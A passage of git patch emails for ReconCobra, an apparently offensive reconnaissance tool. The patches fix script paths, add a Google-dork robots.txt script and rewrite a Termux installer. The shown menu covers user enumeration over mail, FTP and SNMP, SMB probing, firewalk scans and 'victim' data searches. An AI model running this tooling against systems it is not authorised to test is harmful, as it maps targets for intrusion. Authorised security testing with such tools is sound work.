0) { print item(), "success!\n"; } else { @@ -1992,7 +1992,7 @@ sub Configerrors { #22 Find ASN # #--------------------------------------------------------------# sub Findasn { -if (system("usr/share/ReconCobra/findasn.sh") == 0) { +if (system("/usr/share/ReconCobra/findasn.sh") == 0) { print "success, file written input.txt!\n"; } else { @@ -2004,7 +2004,7 @@ sub Findasn { #23 Find Netblocks # #--------------------------------------------------------------# sub Findnetblock { -if (system("usr/share/ReconCobra/netblock.sh") == 0) { +if (system("/usr/share/ReconCobra/netblock.sh") == 0) { print item(), "success!\n"; } else { @@ -2018,7 +2018,7 @@ sub Findnetblock { #24 Capture Screenshots # #--------------------------------------------------------------# sub Capturescreenshots { -if (system("usr/share/ReconCobra/screenshot.sh") == 0) { +if (system("/usr/share/ReconCobra/screenshot.sh") == 0) { print item(), "success!\n"; } else { @@ -2031,7 +2031,7 @@ sub Capturescreenshots { #25 Find Nearest Servers to Target # #--------------------------------------------------------------# sub nearestvictim { -if (system("usr/share/ReconCobra/bile.sh") == 0) { +if (system("/usr/share/ReconCobra/bile.sh") == 0) { print item(), "success!\n"; } else { @@ -2045,7 +2045,7 @@ sub nearestvictim { #26 Sweep Netblocks and Resolve # #--------------------------------------------------------------# sub Sweepandnetblock() { -if (system("usr/share/ReconCobra/resolve.sh") == 0) { +if (system("/usr/share/ReconCobra/resolve.sh") == 0) { print item(), "success!\n"; } else { @@ -2074,7 +2074,7 @@ sub Panthera { #28 Find Emails and Names # #--------------------------------------------------------------# sub Findemailsandnames { -if (system("usr/share/ReconCobra/email.sh") == 0) { +if (system("/usr/share/ReconCobra/email.sh") == 0) { print item(), "success!\n"; } else { @@ -2088,7 +2088,7 @@ sub Findemailsandnames { #29 Find Contact Information # #--------------------------------------------------------------# sub Findcontactinformation { -if (system("usr/share/ReconCobra/theharvester.sh") == 0) { +if (system("/usr/share/ReconCobra/theharvester.sh") == 0) { print item(), "success!\n"; } else { @@ -2101,7 +2101,7 @@ sub Findcontactinformation { #30 Common Nmap Port Scan # #--------------------------------------------------------------# sub Commonnmapportscan { -if (system("usr/share/ReconCobra/nmapcommonscan.sh") == 0) { +if (system("/usr/share/ReconCobra/nmapcommonscan.sh") == 0) { print item(), "success!\n"; } else { @@ -2116,19 +2116,19 @@ sub Commonnmapportscan { sub Pinghopandinternalnetworks { print "\n",item(),"Peform three types of Firewalk scan"; print "\n",item(),"Results will be saved in Firewalk_results\n"; -if (system("usr/share/ReconCobra/firewalka.sh") == 0) { +if (system("/usr/share/ReconCobra/firewalka.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } -if (system("usr/share/ReconCobra/firewalkb.sh") == 0) { +if (system("/usr/share/ReconCobra/firewalkb.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } -if (system("usr/share/ReconCobra/firewalkc.sh") == 0) { +if (system("/usr/share/ReconCobra/firewalkc.sh") == 0) { print item(),"Command failed\n"; } else { @@ -2170,7 +2170,7 @@ sub Findinternalnetworkssandsweep { #33 Decoy Scan & Generate Metasploit Data # #--------------------------------------------------------------# sub Decoayscanandgeneratemetasploitdata { -if (system("usr/share/ReconCobra/resolve.sh") == 0) { +if (system("/usr/share/ReconCobra/resolve.sh") == 0) { print "\n",item(),"success!\n"; } else { @@ -2205,7 +2205,7 @@ sub Findsslbugsandinformation { } print "\n\n\n"; print item(), "Starting SSL protocol check\n\n"; -if (system("usr/share/ReconCobra/ssl.sh $fsbi") == 0) { +if (system("/usr/share/ReconCobra/ssl.sh $fsbi") == 0) { print item(), "success!\n"; } else { @@ -2219,7 +2219,7 @@ sub Findsslbugsandinformation { #35 Extract Users via FTP # #--------------------------------------------------------------# sub Extractusersfromftp { -if (system("usr/share/ReconCobra/ftp.sh") == 0) { +if (system("/usr/share/ReconCobra/ftp.sh") == 0) { print item(), "success!\n"; } else { @@ -2232,7 +2232,7 @@ sub Extractusersfromftp { # 36 Extract Users via POP3 # #--------------------------------------------------------------# sub Extractusersfrompop3 { -if (system("usr/share/ReconCobra/pop3.sh") == 0) { +if (system("/usr/share/ReconCobra/pop3.sh") == 0) { print item(), "success!\n"; } else { @@ -2245,7 +2245,7 @@ sub Extractusersfrompop3 { # 37 Extract Users via IMAP # #--------------------------------------------------------------# sub Extractusersfromimap { - if (system("usr/share/ReconCobra/imap.sh") == 0) { + if (system("/usr/share/ReconCobra/imap.sh") == 0) { print item(), "success!\n"; } else { @@ -2259,7 +2259,7 @@ sub Extractusersfromimap { # 38 Extract Users via SMTP # #--------------------------------------------------------------# sub Extractusersfromsmtp { - if (system("usr/share/ReconCobra/smtp.sh") == 0) { + if (system("/usr/share/ReconCobra/smtp.sh") == 0) { print item(), "success!\n"; } else { @@ -2273,7 +2273,7 @@ sub Extractusersfromsmtp { #39 Extract Users via Form # #--------------------------------------------------------------# sub Extractusersfromform { - if (system("usr/share/ReconCobra/http-form.sh") == 0) { + if (system("/usr/share/ReconCobra/http-form.sh") == 0) { print item(), "success!\n"; } else { @@ -2308,7 +2308,7 @@ sub Extractfullpossibleinformationfromsnmp { print "\n", item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/snmp1.sh") == 0) { + if (system("/usr/share/ReconCobra/snmp1.sh") == 0) { print item(), "success!\n"; } else { @@ -2317,7 +2317,7 @@ sub Extractfullpossibleinformationfromsnmp { } } if ($enter =~2) { - if (system("usr/share/ReconCobra/snmp2.sh") == 0) { + if (system("/usr/share/ReconCobra/snmp2.sh") == 0) { print item(), "success!\n"; } else { @@ -2326,7 +2326,7 @@ sub Extractfullpossibleinformationfromsnmp { } } if ($enter =~3) { - if (system("usr/share/ReconCobra/snmp3.sh") == 0) { + if (system("/usr/share/ReconCobra/snmp3.sh") == 0) { print item(), "success!\n"; } else { @@ -2335,7 +2335,7 @@ sub Extractfullpossibleinformationfromsnmp { } } if ($enter =~4) { - if (system("usr/share/ReconCobra/snmp4.sh") == 0) { + if (system("/usr/share/ReconCobra/snmp4.sh") == 0) { print item(), "success!\n"; } else { @@ -2349,7 +2349,7 @@ sub Extractfullpossibleinformationfromsnmp { #41 Extract Possible Information from Certificates # #--------------------------------------------------------------# sub Extractpossibleinformationfromcertificaties { - if (system("usr/share/ReconCobra/crtstart.sh ") == 0) { + if (system("/usr/share/ReconCobra/crtstart.sh ") == 0) { print item(), "success!\n"; } else { @@ -2362,7 +2362,7 @@ sub Extractpossibleinformationfromcertificaties { #42 Find Victim HTTPS Leaked Data # #--------------------------------------------------------------# sub Findvictimhttpsleakeddata { - if (system("usr/share/ReconCobra/inteli.sh") == 0) { + if (system("/usr/share/ReconCobra/inteli.sh") == 0) { print item(), "success!\n"; } else { @@ -2377,7 +2377,7 @@ sub Findvictimhttpsleakeddata { #43Find Users via sitemap # #--------------------------------------------------------------# sub Findusersfromsitemap { - if (system("usr/share/ReconCobra/sitemap.sh") == 0) { + if (system("/usr/share/ReconCobra/sitemap.sh") == 0) { print item(), "success!\n"; } else { @@ -2391,7 +2391,7 @@ sub Findvictimhttpsleakeddata { #44Find Directories from robots.txt # #--------------------------------------------------------------# sub Finddirectoriesfromrobots { - if (system("usr/share/ReconCobra/sitemap.sh") == 0) { + if (system("/usr/share/ReconCobra/robots.sh") == 0) { print item(), "success!\n"; } else { @@ -2432,7 +2432,7 @@ sub Findallaccountsfromuser { #46 Facebook Intelligence Gathering email # #--------------------------------------------------------------# sub Findallaccountsfromemail { - if (system("usr/share/ReconCobra/sss.sh") == 0) { + if (system("/usr/share/ReconCobra/sss.sh") == 0) { print item(), "success!\n"; } else { @@ -2445,7 +2445,7 @@ sub Findallaccountsfromemail { #47 Find all tags by account # #--------------------------------------------------------------# sub Findalltagsfromaccount { - if (system("usr/share/ReconCobra/fb.sh") == 0) { + if (system("/usr/share/ReconCobra/fb.sh") == 0) { print item(), "success!\n"; } else { @@ -2589,7 +2589,7 @@ sub Dnshistory { #49 Passive DNS Search # #--------------------------------------------------------------# sub Passivednssearch { - if (system("usr/share/ReconCobra/passive.sh") == 0) { + if (system("/usr/share/ReconCobra/passive.sh") == 0) { print item(), "success!\n"; } else { @@ -2607,7 +2607,7 @@ sub Usecommoncrawlontarget { print "\n", item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/common1.sh") == 0) { + if (system("/usr/share/ReconCobra/common1.sh") == 0) { print item(), "success!\n"; print item(), "Results are saved in json-results folder\n"; } @@ -2617,7 +2617,7 @@ sub Usecommoncrawlontarget { } } if ($enter =~2) { - if (system("usr/share/ReconCobra/common2.sh") == 0) { + if (system("/usr/share/ReconCobra/common2.sh") == 0) { print item(), "success!\n"; print item(), "Results are saved in json-results folder\n"; } @@ -2636,7 +2636,7 @@ sub hostnametoip { print item(), "Look for required provider with hostnametoip.txt format\n"; print item(), "Loading\n"; sleep(7); - if (system("usr/share/ReconCobra/hostnametoip.sh") == 0) { + if (system("/usr/share/ReconCobra/hostnametoip.sh") == 0) { print item(), "success!\n"; } else { @@ -2749,14 +2749,14 @@ sub Wingensipc { 1E: Browser Service Elections /; - if (system("usr/share/ReconCobra/smbclient1.sh") == 0) { + if (system("/usr/share/ReconCobra/smbclient1.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } - if (system("usr/share/ReconCobra/enumdom.sh") == 0) { + if (system("/usr/share/ReconCobra/enumdom.sh") == 0) { print item(),"success!\n"; print item(),"Write down hexadecimals then query, e.g., queryuser 0x3e8!\n"; } @@ -2771,7 +2771,7 @@ sub Wingensipc { #56 Win - Gather Full Information via Netbios # #--------------------------------------------------------------# sub Wingfivnetbios { - if (system("usr/share/ReconCobra/smbvul.sh") == 0) { + if (system("/usr/share/ReconCobra/smbvul.sh") == 0) { print item(),"success!\n"; } else { @@ -2792,13 +2792,13 @@ sub Wingfivnetbios { #57 Win - Connect to Open Netbios # #--------------------------------------------------------------# sub Winctonetbios { - if (system("usr/share/ReconCobra/smbclient.sh") == 0) { + if (system("/usr/share/ReconCobra/smbclient.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } - if (system("usr/share/ReconCobra/smbclient2.sh ") == 0) { + if (system("/usr/share/ReconCobra/smbclient2.sh ") == 0) { print item(),"success!\n"; } else { @@ -2954,7 +2954,7 @@ sub convert } print item(),"IP for binary conversion is: "; -system("usr/share/ReconCobra/ip2bin.sh"); +system("/usr/share/ReconCobra/ip2bin.sh"); } @@ -2996,7 +2996,7 @@ sub MDSSE { print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/mdsse.sh") == 0) { + if (system("/usr/share/ReconCobra/mdsse.sh") == 0) { print item(), "success!\n"; } else { @@ -3005,7 +3005,7 @@ sub MDSSE { } } if ($enter =~2) { - if (system("usr/share/ReconCobra/nmapasnlookup.sh") == 0) { + if (system("/usr/share/ReconCobra/nmapasnlookup.sh") == 0) { print item(), "success!\n"; } else { @@ -3028,7 +3028,7 @@ () print item(),"Enter Certificate Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/crtstart.sh") == 0) { + if (system("/usr/share/ReconCobra/crtstart.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3038,7 +3038,7 @@ () } } if ($enter =~2) { - if (system("usr/share/ReconCobra/googlegct.sh") == 0) { + if (system("/usr/share/ReconCobra/googlegct.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3049,7 +3049,7 @@ () } if ($enter =~3) { - if (system("usr/share/ReconCobra/certspot.sh") == 0) { + if (system("/usr/share/ReconCobra/certspot.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3060,7 +3060,7 @@ () } if ($enter =~4) { - if (system("usr/share/ReconCobra/entrust.sh") == 0) { + if (system("/usr/share/ReconCobra/entrust.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3081,7 +3081,7 @@ () print item(),"Enter API Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/vasl.sh") == 0) { + if (system("/usr/share/ReconCobra/vasl.sh") == 0) { print item(),"success!\n"; } else { @@ -3089,7 +3089,7 @@ () } } if ($enter =~2) { - if (system("usr/share/ReconCobra/censys.sh") == 0) { + if (system("/usr/share/ReconCobra/censys.sh") == 0) { print item(),"success!\n"; } else { @@ -3097,7 +3097,7 @@ () } } if ($enter =~3) { - if (system("usr/share/ReconCobra/virustotal.sh") == 0) { + if (system("/usr/share/ReconCobra/virustotal.sh") == 0) { print item(),"success!\n"; } else { @@ -3114,7 +3114,7 @@ () print item(),"Enter desired subnet/ip/net-block or cidr for cname information\n"; print item(),"Loading\n"; sleep(5); - if (system("usr/share/ReconCobra/cname.sh") == 0) { + if (system("/usr/share/ReconCobra/cname.sh") == 0) { print item(),"success!\n"; } else { @@ -3128,7 +3128,7 @@ () #67 Extraction Endpoints # #--------------------------------------------------------------# sub endpoints() { - if (system("usr/share/ReconCobra/endpoint_extraction.sh") == 0) { + if (system("/usr/share/ReconCobra/endpoint_extraction.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in endpoint_extraction_results folder\n"; } @@ -3143,7 +3143,7 @@ () #68 Testing CORS # #--------------------------------------------------------------# sub cors() { - if (system("usr/share/ReconCobra/cors.sh") == 0) { + if (system("/usr/share/ReconCobra/cors.sh") == 0) { print item(),"success!\n"; } else { @@ -3158,7 +3158,7 @@ () #--------------------------------------------------------------# sub wayback() { print item(),"Catuion: Downloading URL may take a while\n"; - if (system("usr/share/ReconCobra/wayback.sh") == 0) { + if (system("/usr/share/ReconCobra/wayback.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in wayback_results folder\n"; } @@ -3178,7 +3178,7 @@ () print item(),"2 - Use LinkFinder: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/linkfinder1.sh") == 0) { + if (system("/usr/share/ReconCobra/linkfinder1.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in linkfinder_results folder\n"; } @@ -3188,7 +3188,7 @@ () } } if ($enter =~2) { - if (system("usr/share/ReconCobra/linkfinder2.sh") == 0) { + if (system("/usr/share/ReconCobra/linkfinder2.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in linkfinder_results folder\n"; } From b2a8ce62bb4273af8dcb5d6f442f861f36fa9079 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 21:19:09 +0500 Subject: [PATCH 088/272] Add files via upload --- robots.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 robots.sh diff --git a/robots.sh b/robots.sh new file mode 100644 index 0000000..1a51f52 --- /dev/null +++ b/robots.sh @@ -0,0 +1,16 @@ +#!/bin/bash +TARGET="$1" +BROWSER="xdg-open" +VER="1.9" +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +DELAY=1 +RESET='\e[0m' + +echo "Enter Target" +read Target +# LOAD WEBSITE IN A WEB BROSER +$BROWSER "https://www.google.com/search?q=site:$Target+ext:txt+robots.txt" 2> /dev/null + From eb020b486b3232c467fe9d6c9869c03caa46f24b Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:21:21 +0500 Subject: [PATCH 089/272] Add files via upload --- termuxinstaller.sh | 105 ++++++++++++++++++++++++++++++++------------- 1 file changed, 76 insertions(+), 29 deletions(-) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 6df793a..57db6d2 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -20,6 +20,11 @@ #!/bin/bash +red="\e[0;31m" +green="\e[0;32m" +off="\e[0m" + +function banner() { clear echo "Ultimate Recon and Foot Printing Software Version 1.0a"; @@ -27,27 +32,15 @@ echo "Termux Installer By: Hacker_Universe"; echo "Coded By: Haroon Awan"; echo "Mail: mrharoonawan@gmail.com"; echo ""; +} - -echo -e "prerequisite install" -apt-get install wget -apt-get install make -apt-get install clang -apt-get install unzip -apt-get install tar -echo -e "Installing Perl ..."; -apt-get install -y perl -echo -e "Installing JSON Module ..."; +function linux() { +echo -e "$red [$green+$red]$off Installing Perl ..."; +sudo apt-get install -y perl +echo -e "$red [$green+$red]$off Installing JSON Module ..."; cpan install JSON -echo -e "Installing Extra Perl Modules ..."; -echo "y" | wget https://cpan.metacpan.org/authors/id/B/BP/BPS/HTTP-Server-Simple-0.52.tar.gz -tar -xvf HTTP-Server-Simple-0.52.tar.gz -cd HTTP-Server-Simple-0.52 -perl Makefile.PL -make -make install -cd .. -echo "y" | cpan install WWW::Mechanize +echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; +echo "y" | cpan install WWW::Mechanize echo "y" | cpan install use HTML::TokeParser echo "y" | cpan install Term::ANSIColor echo "y" | cpan install Mojo::DOM @@ -60,40 +53,94 @@ echo "y" | cpan install Mozilla::CA echo "y" | cpan install Bundle::LWP -echo -e "Installing dependencies ..."; +echo -e "$red [$green+$red]$off Checking directories..." +if [ -d "/usr/share/ReconCobra" ]; then + echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; + read replace + if [ "$replace" = "Y" ]; then + sudo rm -r "/usr/share/ReconCobra" + sudo rm "/usr/share/icons/ReconCobra.png" + sudo rm "/usr/share/applications/ReconCobra.desktop" + sudo rm "/usr/local/bin/ReconCobra" + +else +echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; + exit + fi +fi + +echo -e "$red [$green+$red]$off Installing ..."; +echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; +echo -e "#!/bin/bash +perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; + chmod +x "ReconCobra"; + sudo mkdir "/usr/share/ReconCobra" + sudo cp "installer.sh" "/usr/share/ReconCobra" + sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" + sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" + sudo cp "config/ReconCobra.desktop" "/usr/share/applications" + sudo cp "ReconCobra" "/usr/local/bin/" + rm "ReconCobra"; + +echo -e "$red [$green+$red]$off Installing dependencies..." echo "y" | apt-get install xdg-utils +echo "y" | apt-get install cargo echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 -echo "y" | apt-get install python +echo "y" | apt-get install python3 echo "y" | apt-get install golang echo "y" | apt-get install curl -echo "y" | apt-get install cargo +echo "y" | apt-get install gem +gem install wayback_machine_downloader echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/Miladkhoshdel/corschecker.git echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/haroonawanofficial/vasl.git +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git echo "y" | git clone https://github.com/heycam/json-describe cd json-describe -cargo install +cargo build cd .. -echo "y" | https://github.com/haroonawanofficial/vasl.git echo "y" | apt-get install nmap -echo "y" | git clone https://github.com/haroonawanofficial/panthera.git -echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git pip install requests pip install request cd SearchEngineScrapy pip install -r requirements.txt -virtualenv --python="2" env -env/bin/activate +sudo virtualenv --python="2" env +sudo env/bin/activate cd .. echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git cd EyeWitness/setup chmod u+x setup.sh ./setup.sh cd .. +cd .. chmod u+x *.sh -echo -e "Installed, run perl ReconCobra.pl for interface!"; +cp * -r /usr/share/ReconCobra + +if [ -d "/usr/share/ReconCobra" ] ; +then +echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; +sleep 2; +ReconCobra +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi +} + +if [ -d "/usr/bin/" ];then +banner +echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; +linux +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi From 90bc62a237b5c6d1eaa129355507c81c842a042a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:34:54 +0500 Subject: [PATCH 090/272] Add files via upload --- ReconCobraTermux.pl | 3253 +++++++++++++++++++++++++++++++++++++++++++ termuxinstaller.sh | 100 +- 2 files changed, 3282 insertions(+), 71 deletions(-) create mode 100644 ReconCobraTermux.pl diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl new file mode 100644 index 0000000..5ae060f --- /dev/null +++ b/ReconCobraTermux.pl @@ -0,0 +1,3253 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + + +#!/usr/bin/perl + +use if $^O eq "MSWin32", Win32::Console::ANSI; +use Getopt::Long; +use HTTP::Request; +use utf8; +use open qw(:std :utf8); +use HTML::TokeParser; +use WWW::Mechanize; +use Data::Dumper; +use HTTP::Response; +use HTTP::Headers; +use HTTP::Request::Common qw(POST); +use HTTP::Request::Common qw(GET); +use feature 'say'; +use IO::Select; +use HTML::TableExtract; +use IO::Socket::INET; +use Term::ANSIColor; +use URI::URL; +use Mojo::DOM; +use Mojo::UserAgent; +use Data::Dumper; +use LWP::UserAgent; +use LWP::Simple; +use JSON qw( decode_json encode_json ); + +my $ua = LWP::UserAgent->new; +$ua = LWP::UserAgent->new(keep_alive => 1); +$ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"); + +GetOptions( + "h|help" => \$help, + "A|info=s" => \$info, + "B|whois=s" => \$whois, + "C|location=s" => \$geo, + "D|port=s" => \$op, + "E|dwhois=s" => \$dnswhois, + "F|revip=s" => \$revip, + "Ff|fwdip=s" => \$fwdip, + "G|dnszt=s" => \$dnszt, + "H|revip=s" => \$revip, + "I|dns=s" => \$sdns, + "J|tech" => \$tech, + "K|webrec=s" => \$webrec, + "L|meta=s" => \$meta, + "M|metag=s" => \$metag, + "N|subs=s" => \$subs, + "O|subst=s" => \$subst, + "P|bsubs=s" => \$bsubs, + "Q|bdnss=s" => \$bdnss, + "R|ce=s" => \$ce, + "S|fasn=s" => \$fasn, + "T|fnblks" => \$fnblks, + "U|cpshots=s" => \$cpshots, + "V|findnear=s" => \$findnear, + "W|sweepblocks=s" => \$sweepblocks, + "X|panthera=s" => \$panthera, + "Y|enames=s" => \$enames, + "Z|findci=s" => \$findci, + "a|cpscan=s" => \$cpscan, + "b|phin=s" => \$phin, + "c|finss=s" => \$finss, + "d|dsgmd" => \$dsgmd, + "e|fsbi=s" => \$fsbi, + "f|euff=s" => \$euff, + "g|eufp=s" => \$eufp, + "h|eufi=s" => \$eufi, + "i|eufs=s" => \$eufs, + "j|euff=s" => \$euff, + "k|efpifs=s" => \$efpifs, + "l|eifc=s" => \$eifc, + "m|fchsld=s" => \$fchsld, + "n|fuss" => \$fuss, + "o|fdfr=s" => \$fdfr, + "p|fafu=s" => \$fafu, + "q|fafe=s" => \$fafe, + "r|fatfa=s" => \$fatfa, + "s|dnsh=s" => \$dnsh, + "t|pasds=s" => \$pasds, + "u|ucct=s" => \$ucct, + "v|cvt=s" => \$cvt, + "w|rlu=s" => \$rlu, + "x|fdl" => \$fdl, + "y|wineni=s" => \$wineni, + "z|winipc=s" => \$winipc, + "aa|wfn=s" => \$wfn, + "ab|wtn=s" => \$wtn, + "ac|ips=s" => \$ips, + "ad|cloud=s" => \$cloud, + "ae|dnscache=s" => \$dnscache, + "af|cmswaf=s" => \$cmswaf, + "ag|sharedns=s" => \$SharedNS, + "ah|MDSSE=s" => \$MDSSE, + "ai|subnetdomain=s" => \$subnetdomain, + "aj|domaincert=s" => \$domainCertificate, + "ak|apisubdomain=s" => \$apisubdomain, + "al|cname=s" => \$cname, + "am|endpoints=s" => \$endpoints, + "an|cors=s" => \$cors, + "ao|wayback=s" => \$wayback, + "ap|linkfinder=s" => \$linkfinder, +); + +if ($help) { banner();help(); } +if ($info) { banner();Websiteinformation(); } +if ($whois) { banner();Domainwhoislookup(); } +if ($geo) { banner();Findiplocation(); } +if ($op) { banner();port(); } +if ($dnswhois) { banner();Dnswhois(); } +if ($revwhois) { banner();Reversewhoislookup();} +if ($dnszt) { banner();DNSzonetransfers();} +if ($revip) { banner();Reverseiplookup(); } +if ($fwdip) { banner();Forwardiplookup(); } +if ($revdns) { banner();Reversednslookup(); } +if ($fwddns) { banner();Forwardnslookup(); } +if ($sdns) { banner();Shareddnslookup(); } +if ($tech) { banner();Technologylookup(); } +if ($webrec) { banner();Websiterecon(); } +if ($meta) { banner();Metadatacrawler(); } +if ($metag) { banner();Metadatagoogler(); } +if ($subs) { banner();Subdomainscanner(); } +if ($subst) { banner();Subdomainstakeverscanner();} +if ($bsubs) { banner();Brutesubdomains();} +if ($bdnss) { banner();Brutednssubdomains(); } +if ($ce) { banner();Configurationerrors(); } +if ($fasn) { banner();Findasn(); } +if ($fnblks) { banner();Findnetblocks(); } +if ($cpshots) { banner();Capturescreenshots(); } +if ($findnear) { banner();Findnearestserverstovictim(); } +if ($sweepblocks) { banner();Sweepnetblocksandresolve(); } +if ($panthera) { banner();Panthera(); } +if ($enames) { banner();Findemailsandnames();} +if ($findci) { banner();Findcontactinformation();} +if ($cpscan) { banner();Commonnmapportscan(); } +if ($phin) { banner();Pinghopandinternalnetworks(); } +if ($finss) { banner();Findinternalnetworkssandsweep(); } +if ($dsgmd) { banner();Decoayscanandgeneratemetasploitdata(); } +if ($fsbi) { banner();Findsslbugsandinformation(); } +if ($euff) { banner();Extractusersfromftp(); } +if ($eufp) { banner();Extractusersfrompop3(); } +if ($eufi) { banner();Extractusersfromimap(); } +if ($eufs) { banner();Extractusersfromsmtp();} +if ($euff) { banner();Extractusersfromform();} +if ($efpifs) { banner();Extractfullpossibleinformationfromsnmap(); } +if ($eifc) { banner();Extractpossibleinformationfromcertificaties(); } +if ($fchsld) { banner();Findvictimhttpsleakeddata(); } +if ($fuss) { banner();Findusersfromsitemap(); } +if ($fdfr) { banner();Finddirectoriesfromrobots(); } +if ($fafu) { banner();Findallaccountsfromuser(); } +if ($fafe) { banner();Findallaccountsfromemail(); } +if ($fatfa) { banner();Findalltagsfromaccount(); } +if ($dnsh) { banner();Dnshistory();} +if ($pasds) { banner();Passivednssearch();} +if ($ucct) { banner();Usecommoncrawlontarget(); } +if ($cvt) { banner();hostnametoip(); } +if ($rlu) { banner();Reversenslookup(); } +if ($fdl) { banner();Forwardnslookup(); } +if ($wineni) { banner();Wineni(); } +if ($winipc) { banner();Wingensipc(); } +if ($wfn) { banner();Wingfivnetbios(); } +if ($wtn) { banner();Winctonetbios(); } +if ($ips) { banner();Ips();} +if ($cloud) { banner();Bypasscloudflare(); } +if ($dnscache) { banner();Dnscachedrecords(); } +if ($cmswaf) { banner();Cmswaffirewall(); } +if ($sharedns) { banner();SharedNS(); } +if ($MDSSE) { banner();MDSSE(); } +if ($dcse) { banner();DomainCertificate(); } +if ($apisubdomain) { banner();Apisubdomain(); } +if ($cname) { banner();Cname(); } +if ($endpoints) { banner();endpoints(); } +if ($cors) { banner();cors(); } +if ($wayback) { banner();wayback(); } +if ($wayback) { banner();linkfinder(); } + +unless (@ARGV > 1) { banner();menu(); } + + +#--------------------------------------------------------------# +# Help # +#--------------------------------------------------------------# +sub help { + print line_u(),color('bold cyan'),"# "; + print item('1'),"Website Information "; + print color('bold red'),"=> "; + print color("bold white"),"reconcobra -a site.com"; + print color('bold cyan')," # \n"; + + print color('bold cyan'),"# "; + print item('2'),"Domain Whois Lookup "; + print color('bold red'),"=> "; + print color("bold white"),"reconcobra -b site.com; + print color('bold cyan')," # \n"; +; + print color('bold cyan'),"# "; + print item('3'),"Find Geologication Location "; + print color('bold red'),"=> "; + print color("bold white"),"reconcobra -c site.com"; + print color('bold cyan')," # \n"; + + print color('bold cyan'),"# "; + print item('4'),"Basic Port Scan "; + print color('bold red'),"=> "; + print color("bold white"),"reconcobra -d site.com"; + print color('bold cyan')," # \n"; + + print color('bold cyan'),"# "; + print item('5'),"DNS Whois Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -e site.com"; + print color('bold cyan')," # \n"; + + print color('bold cyan'),"# "; + print item('6'),"Reverse Whois Lookup "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -f site.com"; + print color('bold cyan')," # \n"; + + print color('bold cyan'),"# "; + print item('7'),"DNS Zone Transfers "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -g site.com"; + print color('bold cyan')," # \n"; + + print color('bold 